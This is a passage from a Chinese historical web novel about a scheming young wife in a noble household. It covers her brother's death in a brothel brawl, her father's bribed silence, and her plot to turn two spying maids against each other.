“我身为他的母亲?那你呢?你身为他的父亲呢?你又做了些什么?姚振廷,我们的儿子死了,死在了孟家人的手上,如今你却来怪我的不是,是吗?” “那你要如何!告御状,告什么御状!那陛下对孟家有多看重你不知道吗?你觉得陛下会为我们姚家做主?” “杀人偿命,天经地义!”邓穗音赤红着双眼,“这事就算说破了天去,我也要为我儿讨回个公道!” “你醒醒吧!”姚振廷大骂,“你怎么不用你的脑子想一想,我们要是得罪了孟家,以后还如何在这京中待下去?姚家好不容易有了今日的门楣,难道你想全毁了吗?” “你在说什么?”邓穗音气笑了,“你在说什么呢?你怕了孟家了是吗姚振廷?你不敢是吗?你觉得我的儿子不重要,不及你的仕途重要是吗!?你是不是早就嫌弃我儿是个心智不全的痴儿,你早就想甩掉他了吧!” “疯妇!你看看你现在像什么样子?哪有半分主母的模样风度?早知你是这样,当初我还不如……呵。”姚振廷冷笑了一声,没有把话说完。 邓穗音却听懂了,她的眼神更为偏执,甚至一把扑上前来死死拽住姚振廷的衣领,她咆哮着:“不如什么!?不如不纳我进门!不如当初就留着叶氏,是吗?” “放开!”姚振廷一把拽开她,“你是不是要为了你的儿子,毁了整个姚家?成碧你也不在乎了是吗?” 被推倒在地的邓穗音抬眸,一双眼死死盯着姚振廷。 姚家主君主母这一场闹得府中人尽皆知,砸了好些东西,之前那次因为外室的争吵,两人本就还未冰释前嫌,这回府上许多下人都暗想,这主君主母只怕是好不了咯。 姚戚香得知事情的结果是在第二天下午,且还是听说,孟元德被大理寺的人扣了,她打问了一二内情,才知姚太初死了。 “死了?”姚戚香不确定地问了一句。 “是,姚家都闹翻了天了,娘子你……可要回去看看吗?”茗玉道。 姚戚香垂下眼,慢慢在房中踱步。 怎么死了,她这局主要是想设计孟元德,姚太初只是顺带的,没想到姚太初竟直接没了,真不知她是不是该谢谢孟元德下手这么狠。 “姚家报官了?”她问。 茗玉摇摇头:“姚家没有报官,报官的是迷迷坊的人,大理寺那边要走了人,云栖堂这会儿也正乱呢。” “好,我知道了。”她走进里屋,表情并没有任何变化,茗玉没有等到她下一句吩咐,便默默转身退下了。 轩窗支开了一扇,姚戚香坐在窗边,看着外面映进的碧色,她忍不住想起一些过往—— “死丫头!这是我姚家的点心!你个奴婢怎么配吃!给我滚!” “我娘说了!你就是奴婢!不光是你,你娘也是奴婢!哈哈哈!” “谁准你动的?我要玩射鸟!你若不想我打你,就跪下来求我啊!” 一个个场景出现在她脑子里,所有的画面都带着姚太初的声音,她嘴角慢慢漾开一抹笑。 好弟弟,怎么就这么轻易死了呢?那她那些年里所受的屈辱,欺负,该去向谁讨啊。 正在这个时候,姚戚香听见外面来了人,她刚要起身就听见外面传来一句:“夫人在吗?” 这还是她第一次听见孟扶危在外人面前是如何称呼她,夫人…… 她在别人面前,可都是直接叫孟扶危名字的。 一阵脚步声传来,姚戚香抬眸,便对上他那一双深寂的眸子。 她本能地有些心虚,她好像给孟扶危惹麻烦了,原本她只是想让孟元德与姚太初打起来,为妓子争风吃醋,事情闹大,孟元德在德行考核上就过不去,轻则三年之内不准他再考,可没想到孟元德惹上了人命官司。 她微微抿唇,孟元德再不济,那也是孟扶危的弟弟,就算私底下再怎么不对付,面子上……孟扶危还是要救的吧? “……孟元德如何了?”姚戚香有些顶不住他的目光,她心里没底,自知瞒不过孟扶危,只能先松了口。 “哦。”孟元德应了一声,看他这个反应,竟是对姚戚香的问询有些意外。 他道:“我以为,你会先问你的弟弟。” 姚戚香突然就笑了:“夫君这是哪里话?我如今已经是孟家的人,自然要先紧着孟家人才是。” 见他这样,她反而松了口气,道:“看你这样,孟元德是没什么事了。” “何以见得?” “你一身轻松,若孟元德真有什么,那婆母能不求你?”姚戚香道,孟扶危与常氏可不是她和邓氏,人家表面上一团和气着呢。 “此事尚波及不到我。”孟扶危道,“岳父似乎,并不打算报官。” 姚戚香微微睁大双眼,紧接着又露出一抹了然——啊,那看来,他外面那个还真给他生了个儿子。 第26章 第26章 两人吵起来了 孟元德打死姚太初一事只用一天就传遍了京城, 一是此案的元凶乃是京城大族孟家的人,谁人不知而今的孟氏是何等如日中天?又有多少人巴巴地盼着孟家从云端跌落下来? 二是孟元德打死的不是别人,正是与孟家新结不久的姻亲, 且姚太初虽然是个痴儿, 可到底是姚郎中的独子。 三是事发地点在人潮涌动的迷迷坊,孟元德声势浩大,因此拥有了不少看客。 三个条件加起来, 此事不轰动也难。 常氏铁青着脸, 不得不为孟元德奔走,这是她有生之年第二次下榻姚家,依旧乘坐着上回来提亲时那架华贵的马车,不得不放下姿态, 还要赔上些许笑脸。 不过她口中的话依旧带着锋芒。 “姚郎中, 此事是孟家对不住你们,实在是小儿那晚吃醉了酒,且又是令郎主动寻衅滋事,否则怎么也不会闹得今天的下场,元德若识得自己动手打的人是谁,他定然会手下留情。”常氏道, “事到如今, 究竟是谁的过错我也不想再追查了,你不妨痛快些, 直说要我孟家如何补偿,只要是能做到, 我绝不会含糊。” 说真的,姚振廷纵是原本就无心与孟家结仇,听了常氏这番话也不免要动怒。 “你的意思是, 我儿子被你们打死了,反倒还是我儿子的错了?” “姚郎中何必动怒。”常氏垂眼,“你心里很清楚,这样一条命,就算闹到陛下面前去也奈何不了孟家,我们顶多是赔些银子罢了,我不过是顾及着儿郎的名声才同你坐在这里分辩,若姚郎中当真不开口提要求的话,那下场就只能是人财两失了。” 她面色威严冷漠:“且我将话放在这里,你若不肯将此事平息,执意要问罪我儿,那你们姚家今后也别想在京中待得下去。” 后面这些话,没有一句不踩中姚振廷的软肋,他是最清楚不过的,这个节骨眼上不能与孟家结仇,否则他的仕途当真要完了。 他这把年纪,这一辈子的官途其实已经望到了头,又没有什么出彩的政绩,想必到最后也只是个五品郎中。 若不抓住眼下这个机会…… 就在此时,常秋兰起身欲走,最后道:“今年年末,礼部侍郎会空出一个位子,你仔细想想吧。” 姚振廷忙站起了身:“那、那就这样吧。” 常秋兰嘴角扬起一抹讥讽,她回过身,看着姚振廷开口:“那就说好了,明日由您亲自说明,这件事只是误会一场,是令郎先寻衅的。” “什、什么?”姚振廷一怔,“这怎么可能?” “姚大人。”常秋兰道,“您可要想清楚啊,为了一个痴傻的儿子搭上这辈子的前程值得吗?横竖他已经是个死人,您不借此机会更上一层楼,难道就真的不会后悔吗?” 她理了理自己的鬓发,缓缓转过了身朝外走,开口:“明日,我等着您的消息。” “娘!你振作些!这件事爹爹肯定不会放任不管的,他毕竟是爹爹呀!” 屋内,姚成碧抱着死气沉沉的邓氏劝慰,她哭腔道:“再不济,您还有女儿,女儿也会照顾您的。” “滚!你少提那脏心烂肺的东西!”邓穗音一把将姚成碧推开,“你有什么用?你能有你哥哥顶用吗?嫁出去的女儿泼出去的水,难道我还指望着你给我养老送终?你是能考个一官半职不成?” 姚成碧摔在地上,手掌心被擦破了一大片,瞬间出了血,她不可置信地回头看着邓氏,道:“娘,你居然是这样看待女儿的?在娘的心里,女儿甚至比不上心智缺失的弟弟吗?” 邓穗音冷冷横她一眼,并未开口,只是一个劲地在厨房里磨刀——倘若姚振廷不替她儿子讨回公道来,那她就亲自出去杀人,她倒要看看,都这样了,他姚振廷还要什么体面! 姚成碧只觉得——她的母亲疯了。 然而当姚振廷从外面回来,告知他已经见过了客,决意不追究此事时,姚成碧才知这家中疯了的不止她的母亲,还有她的父亲。 “不追究了!?”姚成碧怔怔看着父亲,险些以为自己听错了。 “是。”姚振廷理直气壮,“事情的结果已经这样了,难道没了太初,我们这一大家子就不过了?还是要顾全大区才行。” 姚成碧觉得不对,可她无从反驳,这家中的一切,的确是因为父亲在才有的,而她享有的一切,也都是因为父亲在,才如此。 要她为了姚太初与孟家撕破脸,她知道那样姚家会落得什么样的下场,父亲的选择似乎是明智的,是正确的…… 可她不禁,又有一丝后怕,倘若今日死的不是弟弟,是她呢?父亲也会轻飘飘一句不可,便让她白白枉死了吗? 听完姚振廷的话,邓穗音竟痴痴笑出了声,她一句话都不说,就只是笑,笑得姚成碧发渗。 一夕之间,她所熟悉的母亲和父亲好似瞬间都变了样,连她所熟悉的家都变了样,眼下,她突然有些想去找她并不愿意亲近的祖母。 祖母应当不会也疯了吧? 未及开审,本案的苦主便主动伸张要去孟氏和解,这一行为无疑又成了京城一大谈资,一时间多条消息流走于大街小巷,姚振廷痛失一子,同时失去的似乎还有姚家书香门第的贤名。 “谁知道孟家给他许了什么好处,咱们且看着这之后姚振廷会不会突然升官就是了。” “真的假的?为了升官,连自己儿子的命都不要了?这天底下居然有这样狼心狗肺的爹?” “谁说不是?哎哟,你们听说没有,那个姚戚香……嫁去孟家之后,可是安分守己得很呢,听说贤淑又温柔,日日都去给婆母晨昏定省,你说这样一个女子,当初怎么会在姚家传出那样的名声?” “姚家有一秘密,你们还不知道呢吧?”有人道,“当初姚振廷宠妾灭妻,逼死了正室,这姚戚香为了替母伸冤,险些与姚振廷决裂,这姚振廷还想将她赶出去永不相认,幸亏当时姚府恰好有几位同僚在场,说了几句情,这姚戚香才留了下来。” “什么!?还有这样的事?那姚振廷的发妻不是病死的吗?” “啧啧,难说,这病症显兆,那必得是先消耗精气神,再消耗五脏六腑,那叶氏当年可有病过?那是突然没了的!” “哇……这姚家的水可真深。” 众说纷纭时,姚戚香戴着纱笠,就坐在一家茶楼喝茶,她有些纳闷,姚家的内情是她抖落散播出去的,可孟家的传闻是谁说的?她这才嫁到孟家多久?短短不到一月的天气,她就从蛇蝎刁女成了贤淑温柔了? 一时间,姚戚香心头浮现出一个人,只能是他,似乎也只有他才会这样做。 这是一件她连问都不用问,就能拿准的事,因为这个世上,会这样对她的人实在就只有他一个,除他之外,竟一个都没有了,傻子才猜不出。 姚戚香突然有些想念那晚,不知孟扶危从哪儿给她带的烧鸡了。 她问茗玉:“哪里的烧鸡最好吃?” 茗玉想也不想便回答道:“桐子记的!绝对是一绝!” 姚戚香笑了笑,缓缓摇着扇子起身。 “那好吧,我们去那儿买了烧鸡,再回去。” 由于孟元德出事,这两人常氏烦不胜烦,便免了她的晨昏定省。 可今日,姚戚香的确是主动想去拜见,这件事她已经做成了,不去瞧瞧当事人的反应怎么成? 于是她死皮赖脸站在云栖堂外,不论说什么也要见常秋兰一面,最后常秋兰别无他法,只要让她进来了。 “做什么?”常氏面色冷淡。 而姚戚香则装作惶恐地上前几步,左顾右盼了一会儿,在常氏身边压低声音道:“婆母,那请考官见面的事不好拖了……怎么办?” 提起这个常氏便来气,孟元德在青楼打死了人,竟然被御史告了上去,说他私德不修,竟然为了一个妓女恶意杀人,这样的人怎配为官? 这些日子孟姚两家的事传得沸沸扬扬,陛下免不得听到了,于是便罚孟元德三年之内不得再考。 眼下再请这考官吃饭,那还有什么用!? 常秋兰没好气道:“还能怎么办?你说什么办?” 往素的常秋兰总是端庄、沉稳,几时见过她这副模样,姚戚香将她的模样收入眼底,又耐着性子道:“婆母您别生气,咱们得往好处想,这得是陛下开恩,才罚了三年而已,咱们这次若是食言,给考官留下了不好的印象,那三年之后,二郎若是再考……未免也抹不开面。” 她说话温声细语,慢条斯理,常秋兰不由自主听了进去。 也是,三年不能考罢了,那这三年过了,照样还能科举,眼下虽然用不上人,但难保哪天就用上了。 常秋兰不由得看向这个儿媳,也不知是不是她在钟奚那里学规矩的缘故,姚戚香似乎没有那般蠢钝了,竟还知晓为长远谋划的。 “也罢,那你便好好打点一番吧,孟家是什么情况,他总是知道的,多使些银子,叫人家心里舒坦了就行了。” “是,婆母,儿媳谨遵婆母教诲。”姚戚香今日说话的时候,满脑子都是贤淑温柔四个字,下意识便模仿起来,觉得这真是有趣极了。 说来,她也是时候正一正自己的名声了,眼下正是好时机。 “去,叫孟扶危来。” 从云栖堂出来的时候,姚戚香对茗玉道。 “就说我请他吃烧鸡,热热的烧鸡。” 其实姚戚香不光准备了烧鸡,毕竟是她请客吃饭,怎好如此简略打发了人家? 她见上回孟扶危对她烤的小酥饼还算喜欢,便又烤了些,再用自己不算精湛的厨艺准备了几道还算拿手的菜。 这回,孟扶危帮了她,她也不好明着答谢,但也不能什么表示都没有。 不过她倒也不是只做这几个菜就好了,以后孟扶危若有什么用得着她的地方,她也是可以帮忙的嘛。 天气甚好,姚戚香将做好的饭菜摆在外面树荫底下的石桌上,刚摆好就听见一阵沙沙的脚步声由远及近。 “来了?”姚戚香转身,这几日,她早就对孟扶危这不紧不慢的脚步声熟悉了。 下人们忙着做事,脚步声走得快,只有他这样走,散步似的。 孟扶危的目光先是在她脸上凝迟了片刻,随后又错过落在桌子上,他道:“何必辛苦做这些,交给下人也是一样。” 姚戚香道:“下人做的,跟我这个妻子做的,怎么能一样呢?” 她本是打趣罢了,说完,却见孟扶危明显一愣,她正想着是不是自己说错话了,这话说得想当然了些,其实孟扶危根本没拿她当…… “好。” 还没想完,孟扶危又应下这一句,他已经拿起筷子,尝了一块桌上的炸蘑菇。 孟府的厨子做的菜都格外好吃,姚戚香虽然自觉她做的这几个菜是她认为不错的,但还是没敢邀功,就在孟扶危对面坐了下来。 她开口:“你可知道,我父亲在孟家得了什么,才连自己亲儿子的命都不要了?” 她又摆了自己喜欢的黄酒,举盏敬了孟扶危一杯,后者慢条斯理拿起,品味一般细细饮下,才道:“礼部年末要空出一个四品官职来。” 姚戚香了然,以姚振廷如今的政绩,到卸任他恐怕都升不了官,怎么能不抓住眼下的机会升迁一把呢? 她看着孟扶危,忍不住问:“孟家如此行事,难道陛下那边就……” 她承认,她对为官之事一窍不通,可她知晓孟姚两家的事这些日子在京中闹得沸沸扬扬,陛下不可能没有耳闻。 孟扶危道:“陛下年事已高,太子又年幼,眼下并不想大动干戈。” 今年年初,陛下病重的消息姚戚香还是听说了的,陛下这是怕万一挑起事端来,自己又突然没了,担子就要落在年幼的太子身上? 素闻天家父子薄情,姚戚香倒是觉得,陛下爱子之心可比姚振廷多了不是一星半点。 横竖姚振廷已经不追究了,姚家又是容易得罪的那个,那这件事为何要不依不饶呢? 几句话闲聊下来,姚戚香发现菜已经七七八八了,暗想孟扶危今日究竟做什么去了?瞧着像是真饿了的样子,她这种上不得台面的菜也吃了这么多。 眼下,孟元德的事已然解决,常氏短时间之内也决计不会再拿这个儿子的事来烦她,那么这些日子,她倒是可以安心处置院子里那二春了。 自打春绿成了松风堂的管事姑娘后,姚戚香便对她的办事赞不绝口。 “这件事你办得真是周到!我都没有想到要这样做,你竟别出心裁,我当初真是没有看错你!”姚戚香一边笑着同她说,一边又塞给她一个银镯,“这是这些日子京城最新的式样,送你了,唉,我就是忍不住想要疼你,你说说,这件事要是交给春竹去办,她能不给我搞砸吗?依照她那个粗心的性子,又素来是心比天高的,哪里有你心细谨慎?” 几番话说下来,春绿被夸得面红耳赤,心中却是乐开了花。 她在云栖堂多年,处处不受待见,处处都要被春竹压上一头,她总以为是自己能力不足,却原来是跟错了主子! 春竹那人除了惯会溜须拍马,还有什么真能耐?还是姚娘子慧眼识人才! 只可惜……春绿不免悄悄看了眼姚戚香,只可惜她是受命来监视姚娘子的,这差事她还得继续办。 “去吧。”姚戚香笑眯眯道,“让底下人都跟你学着些,若是都像你这般,我还用操这些闲心吗?” 春绿道:“娘子过誉了,奴婢今后定更加尽心为娘子办事。” 姚戚香笑了笑,挥挥手叫她退下了。 这二春之前表面上一团和睦,实际上积怨已久,之前春绿时常被春竹压着,尚且可以隐忍,可如今呢? 春竹是常秋兰面前得力的人,春绿是她这里得力的人,两人都认为常氏才是她们真正的主子,可若春竹再想对春绿冷嘲热讽,那春绿肯受? 姚戚香这些时日不断褒扬春绿,为的就是将春绿捧上天去,好叫她真以为自己比春竹强上不少,届时只要生出龃龉来,那便是要闹大了的。 姚戚香没想到,她要等的结果会这么快到来。 只见着春绿下去了一会儿,没多时,红绡便走上前来低声道:“那两人吵起来了。” 姚戚香问:“怎么回事?” “春绿拿着镯子过去,被春竹撞掉了,春竹嘲讽她没见识,一个银镯子都能让她这般宝贝,春绿便说即便是银镯,她这也是新的,不似春竹的红珊瑚钗子,都快要戴包浆了。” 姚戚香忍不住笑出声。 她道:“红绡,今夜你再帮我做一件事。” 红绡压低了身。 “深夜,你去春绿房中,将我上次给她的那个玉镯偷出来。” 翌日,姚戚香特地叫春绿出了趟远门,让她去城郊替她摘些新鲜的果子回来,等春绿回来,姚戚香收了果子,便静静等着事发。 事情比她预想中的还要快,春绿刚回房一会儿,院落里便爆发了争吵,姚戚香专门起身去看。 “还说不是你偷的!我得那玉镯的时候,只有你知道!只有你见过!”春绿指着春竹叫骂。 春竹反驳:“我什么时候见过?我都不知道你还有玉镯子!” “我呸!你没见过?那日我收进盒子里时,眼角看得真真的,就是你盯着我的镯子看!”春绿叉起了腰,“我还当你是个体面人,平日里富裕得跟什么似的,主子赏了你东西,回回都来我这边说嘴,我收东西的时候就没防着你,谁知你竟是个连我的镯子都要偷的下贱坯子!” 春竹大为震惊,像是不敢相信这话居然是从平日里唯唯诺诺的春绿口中说出的,她也大骂道:“好啊你个小贱人!你瞧着你真是愈发狂妄了,自己丢了东西还反倒冤枉起我来了!我看你是今儿出去办事,蠢得自己丢了东西都没发觉吧!” “少废话!”春绿道,“我要搜你的身!否则,我就告到姚娘子那里去,说你偷东西!” “行了行了。”姚戚香出声,“不过是一个镯子罢了,至于吵成这样?你们两个好歹同是云栖堂出来的,共事多年的情分,至于这样吗?” 春绿心里委屈,听了这话竟吧嗒吧嗒掉下泪来。 “是啊,你我好歹是共事多年的情分,你得了红珊瑚的时候我可曾眼红过你?昨日不过与你嘴上分辩几句,今日你便偷我的镯子,我呸!黑心烂肺的东西!” “你再说!贱人!我抓花你的脸!” 姚戚香示意茗玉,与把眼看就要打起来的那二人拉开。 “行了。”她道,“大庭广众之下的,云栖堂的脸面都要被你们两个丢尽了,你们吵成这样,我也不好偏帮谁,只一点,若要说嘴就拿出证据来,别一个两个急赤白脸的。” “娘子!”春绿转过身来跪下,“一定是春竹偷我镯子!一定是她偷的!” “我没偷!”春竹大叫,“什么破镯子也稀得我偷!我告诉你春绿,我娘是在主母身边得脸的人,什么样的好赏赐我没见过?偷你?你也配!” 一来一回,这两人算是把平日里的积怨全都吵出来了,眼看就要无法收场。 姚戚香道:“你们可曾瞧见春绿丢了的镯子?” 围观的下人皆摇头。 姚戚香便道:“偷东西是大忌,府里的人轻易不敢做,除非穷途末路了,春绿,你还是多想想,什么人与你结下梁子吧。” 这般一说,春绿就认了死理,绝对是春竹偷她东西!绝对是春竹见不得她好,偷她东西! 一时之间,她不知哪里来的勇气,猛地从地上站起身,冲上去便和春竹扭打起来。 “偷我东西!你才是贱人!你才是蠢货!你算个什么东西?当年你我一同入府,凭什么你要处处压我一头!” 姚戚香坐在一旁,徐徐摇着扇子,茗玉转过身来向她请示,要不要上去拉人,姚戚香不疾不徐点了下头。 她就在这儿坐着,怎么能不劝架呢? 松风堂的下人都在这里,而这时,云韬从外面走入,道:“娘子,城郊果园的管事托人捎了东西来,说今儿春绿姑娘来过,问她是不是落下了一只镯子?” 春绿扭打的动作截然而止,春竹抓着机会,狠狠甩了春绿几巴掌,两人不论是谁,目中的神色都是恨极了。 “嗯。”姚戚香看着她们出声,“是丢了,你让春绿去认认吧。” 过了今日,她倒要瞧瞧这二人还如何串通一气,当常氏的耳目。 第27章 第27章 他浑身上下只有件中衣 春绿看到镯子的时候, 便知道自己错冤了人,可她回想起来半点不觉得后悔,反而觉得快意。 回想起这些年里, 春竹骂了她多少次蠢笨, 对她多少次冷嘲热讽,甚至可能在她未知的情况下,昧下了多少次她的赏银, 抢占了多少次她的功劳…… 春绿越想越恨, 只觉得今日的一切还远远不够。 拿回镯子后,春绿即刻来求见了姚戚香,她道:“奴婢想分房,还望娘子成全。” 姚戚香露出意外之色:“这是怎么了?镯子的事不是误会一场吗?” 春绿道:“这件事虽然是误会, 不过奴婢深知春竹此人的心性, 之后她势必会伺机报复奴婢的!” 姚戚香慢悠悠的:“不会吧?春竹此人……品性我暂且不论,但看着也不是个坏的,凡事说开了便好!” 春绿顿了顿,像是下定了什么决定似的,猛然下拜道:“娘子!您不知道,自打春竹来到了这松风堂, 没有一日不编排过您, 每件事,每句话, 奴婢甚至都能一一说清,正因为这些, 奴婢才要远离她这样的人,做奴婢的连主子都敢编排,连主子都不放在眼里, 岂不是毫无底线,什么事都做得出了?” 姚戚香变了脸色:“什么?春竹对我不满?” 春绿即刻道:“哪里是什么不满!她就是品性低劣罢了!仗着自己在主母那边得脸,便真的忘形,什么话都敢说了。” 姚戚香沉默,姚戚香沉默了一瞬,然后露出委屈的神色望向身后的房间,哀戚戚道:“夫君,这要如何是好?” 跪在地上说话的春绿一愣,宛如当头一棒——怎么长公子也在这里? 那边传来低沉的脚步声,春绿吓得连忙伏地,颤抖着后背连头也不敢抬,半晌只听见一个寒凉的声音问她:“你说的可都是真的?” 春绿顿了下。 姚戚香问:“夫君,若不是真的又如何?” “挑拨离间,惹是生非的下人,自然要赶出府。”茗玉道,“妄议主子,还要狠狠打一顿板子才是!” 闻言,春绿猛地拜下,道:“奴婢方才的话,绝无虚言,奴婢愿与春竹当堂对峙!” 姚戚香道:“那便对峙吧。” 原本,春绿只是想换个房间,以免日后再生口角,再生事端,春竹到底是云栖堂的人,这事就算是姚娘子有何不满,顶多也就是将春竹送回云栖堂罢了。 到时候留在松风堂的下人就只剩下她一个,还怕没有得脸的时候吗? 可是春绿没有想到长公子居然也会在这里,这样一来,事情就闹大了…… 说要对峙,却不是简简单单在松风堂对峙了便可,姚戚香特地将这两个女使带去了云栖堂,常秋兰送她的女使,自然要当着常秋兰的面分辩清楚。 未免常氏胡搅蛮缠,姚戚香还让下人去给二房和三房那边散播了消息,虽然三房的人没来,但是二房来人了,孟极和孙月瑶夫妇二人都过来瞧热闹。 “这是出了什么事?”常秋兰蓦然被请到正厅,还有些不明所以。 姚戚香道:“婆母,春竹与春绿两个丫头有些话要在您面前分说清楚,我就带她们过来了。” 常氏扫了二春一眼,心中顿觉有些不妙,但还是和颜悦色着道:“你们两个怎么了?” “主母!”春绿率先开口,“奴婢想告发春竹妄议主子,以下犯上!” “主母!奴婢冤枉!”春竹分辩,“是春绿冤枉我偷她东西不成,非要攀诬奴婢!” 两人你一言我一语地,半晌才分说清了事宜。 孙月瑶还真是来看热闹的,听得津津有味,听罢还扇着扇子评价道:“春竹你这丫头还真是大胆,竟敢在背地里嚼主子舌根,姚氏一个嫁进来的新妇,尚未有什么过错,你缘何瞧不上她?莫不是私心里早就打量着自己要做松风堂的女主人了?” 这话,孙月瑶不是凭空说出的,只因前些日子,她刚发卖了一个勾引孟极的女使,待她发现此事时,孟极早就与那女使有来有往了,这会儿子说出这话来,明面上瞧着是在嘲讽春竹,实则是在点孟极呢。 春竹吓了一跳,忙道:“打死奴婢奴婢也不敢生出这样的心思!奴婢才没有说那样的话,一切都是春绿冤枉奴婢的!” “我冤枉你什么!那次知道钟嬷嬷要来给姚娘子教规矩,你敢说你没背地里咒姚娘子要被钟嬷嬷好好折磨一通?还有上回,姚娘子着人去问长公子回不回来,你敢说你没嚼舌根说姚娘子不要脸,上赶着?一句句话我都听得清清楚楚,你还想抵赖不成?” 春竹面上一片空白,实话说,她平日嘴里念叨惯了,连自己是否真说过这些话都不记得,眼下连句正经反驳的辩解都说不出来,只一个劲道:“我没有说!” “哟。”孙月瑶继续摇着扇子,“这妻子问一句丈夫晚上回不回来,竟还成了上赶着了?身为妻子,过问丈夫行踪那是天经地义,只有妾才不配过问。” 她这句话又是在点孟极了,孙月瑶这些日子本就因女使爬床的事心情不佳,她无法对孟极动真格,今日好不容易有了可以宣泄之处,怎么可能放过这个机会? 屋里人七嘴八舌分说着,常氏被吵得头疼,挥了挥手道:“行了,我且问你们,你们说的这些话,可有第二个人证?我如何知道哪些话不是你们凭空捏造的?” 春绿道:“春竹说话的时候只有奴婢,并没有其他人在场,但奴婢能准确说出春竹是在哪日哪时说的,当时正在做什么事。” 她这副胸有成竹的气势便是春竹没有的。 不过常氏这番话倒也给了春竹一个念头,她反驳道:“既然如此,你拿什么证明那些话是我说的,而不是你故意编出来的?我怎么不记得我说过这些?” 姚戚香想,这件事若是只局限于这几件事,怕是最后也受不得什么罚,只要没有证人,恐怕常氏就能将此事按作是两个下人斗嘴,而且她瞧这常氏心里,还是偏向春竹一些的。 于是,她开口:“是呀,若没有证人,那岂不是春绿攀诬,莫说春竹究竟有没有妄议过我,可你若是想要坑害春竹故意栽赃她,那你说的话可算是当真妄议我了。” 她这是在给春绿提醒,若是再说不出什么有价值的话来,那今日受罚的只会是她春绿,和春竹没有半点干系。 春绿怔了怔,看了眼志在必得的春竹,将心一横,下拜道:“妄议主子的事,没有旁的人证,春竹尚能抵赖,可有一件事,她是万万抵赖不了的。” 孙月瑶忙问:“什么事?” “春竹与二公子有染!这是奴婢亲眼所见!春竹房里的首饰匣子里还放着二公子送她的一对珍珠耳珰!” “什么!?”孙月瑶惊得看向常氏。 女使与主家男子私通,轻则发卖赶出府去,重则会被活活打死,春绿说出这话,便是笃定了要春竹永远消失了。 此话一出,春竹面上便惨白一片,一下子便露了怯,甚至推搡了春绿一把,大喊:“你怎么会知道!” 春绿道:“你素有了首饰钗环,哪次不是早早戴上恨不得见人便显摆的?可偏偏你匣子里那双珍珠耳珰,分明精贵,我却一次也没见你戴过。前阵子钟嬷嬷在前院教姚娘子学规矩,我真是纳闷你怎么往前院跑得那么勤?后来才知你是从前院那里的偏门出去,到后面放车马的园子里与二公子私会去了!我站在外面,听得真真的,连二公子唤你腊月唤了几声都听得一清二楚。” 腊月,是春竹没改名之前的称呼。 春绿越说,春竹的脸便愈发惨白,简直无异于告诉别人这事她的确是做了。 “天呐。”孙月瑶扇了扇扇子,目光一个劲往常氏那边瞄,“这罪过可比什么妄议主子大了去了,主母,这腊月……春竹可是您看重的人,她与二郎有染,您可知情吗?” 常氏铁青着一张脸,眼神像是要将春竹生吞活剥了。 她知什么情!!!她一直打算着给孟元德说一桩顶好的亲事,眼下虽暂不能考了,倚仗孟家的家世也能说一门好亲,亲事说得好,那也是能提携孟元德一辈子的。 为此,她紧顾着儿子的名声,早知他好去秦楼楚馆,便让他一个通房也不能纳,一切都等着正妻进了门再做打算。 腊月这个死丫头,平时差事办得是合她心意,可要匹配自己的儿子,那是半点也配不上的! 常秋兰铁青着脸:“来人,将她拖出去打死。” 春竹脸唰地一白,跪在地上痛哭出声:“主母饶命!奴婢再也不敢了!主母饶命……” 她的目光先是紧着常氏不放,等将要被拖下去,得知自己这条命留不下了之后,目光便死死盯着春绿,而春绿,竟是看着她冷飕飕地一笑。 很快,春竹的惨叫声响起,而一直旁观未发一言的孟扶危也终于起身,道:“既然事情都解决了,那我便先回了。” 他瞥向姚戚香,凉声:“你束下不严,能力不足,还不速速回去听训?” 姚戚香诚惶诚恐地起身,飞快朝着常秋兰一礼,唯唯诺诺跟在了孟扶危身后。 只是走出云栖堂后,她这嘴角都快要压不住了。 姚戚香一路惺惺作态,待回了松风堂才挺直了身板。 “孟大人。”她道,“我这怎么不算是帮你解决了云栖堂的耳目呢?” “帮我?”孟扶危回头。 “自然是帮你,难道婆母让她们来这里,是为了探听我一个五品小官之女的秘密不成?那自然是为了探听孟司使、孟太傅的秘密才对。”姚戚香玩笑。 他转过身来,浅淡的目光落在她身上,问:“你想要什么?” “啊?”姚戚香一时有些怔住,她不过打趣孟扶危两句,自己都并未当真,可孟扶危怎么一副当真了的样子。 “……那倒不必。”姚戚香道,她打发走那两人,多半还是为了自己。 然而下一瞬,她却听孟扶危又道:“不论什么,我都可以答应你。” 姚戚香怔怔望着孟扶危的眼神,她总觉得他那双眼睛里总是漆黑一片,如一汪深不见底的死水,从来都难看到什么涟漪颜色,然而此刻,她却觉得那双好看的眼中荡起一点点轻轻的波纹来。 “我……”她忍不住想,孟扶危这话是认真的?可她能从他这儿要什么呢?她真正想要的,孟扶危又帮不了,他大致觉得她一个女人,顶多要些金银珠宝、钗环首饰,再多也不过是些钱财,所以才夸下这个海口吧? “我没想好……”姚戚香道。 “你慢慢想。”他说,“不论什么时候,都可以来找我兑现。” 他还是那副平静自持的样子,说话的语调也没有丝毫的改变,可姚戚香却从他这番话中莫名读出些许……暧昧来。 可他们本也是夫妻。 孟扶危跟她说,他不会同她和离,当时她没信,可后来又觉得,但凡她嫁的人不是孟扶危,不是孟家如此高的门第,她无过错,本就是不该和离的。 “哦……”姚戚香应了,“好,我记着了。” 即便如此,眼下她也不想放过这个跟孟扶危要些什么的机会,谁能说得准她以后求不到他身上去? “还有件事。”姚戚香道,“春竹一走,春绿安个知情不报的罪名也好打发,那我这院子里就只剩下茗玉一个女使了,我想让……” 她本想提出让红绡正式做了自己的女使,却被孟扶危打断了。 “嗯,我会让天禄再找两个靠谱的过来,你放心用。” “……”姚戚香有些蔫儿了,刚走两个常氏的眼线,又来两个孟扶危的,虽然茗玉已经是了,而且她用着也颇为趁手,但是她还是想把自己人留在身边用。 不过此事多争无益,最起码孟扶危给她塞了人,常氏便没有理由再塞了,孟扶危的眼线总比常秋兰的要好,谁让她这个人连个贴心的陪嫁都没有呢? 眼看太阳快要落山了,长公子要留在府上用饭,茗玉去厨房吩咐备菜的路上撞上刚从外面回来的天禄。 “哎,我刚回来,听说那俩动物没了?” 茗玉站住了脚,反应过来他这是在说春竹和春绿,笑道:“刚在那边料理完。” 说罢,她见天禄衣摆上沾着血,问:“你受伤了?” 天禄“啊?”了一声低头看了看,才道:“不是我的,我刚刚去审犯人了。” 闻言,茗玉近前了两步,压低声音:“千味楼的事有眉目了?” 天禄摩挲着护腕,道:“只查到那批邬国人离开邬国已久,此事应该与邬国无关。” “既然如此,那就不是盐矿的事了。”茗玉直起身,“咱们也不必很尽心了吧。” 天禄咧开嘴笑了,露出一排整齐的白牙,道:“你忘了?这次遇刺的可是太子,其实是什么人根本不难猜,要紧的是抓住了证据。” 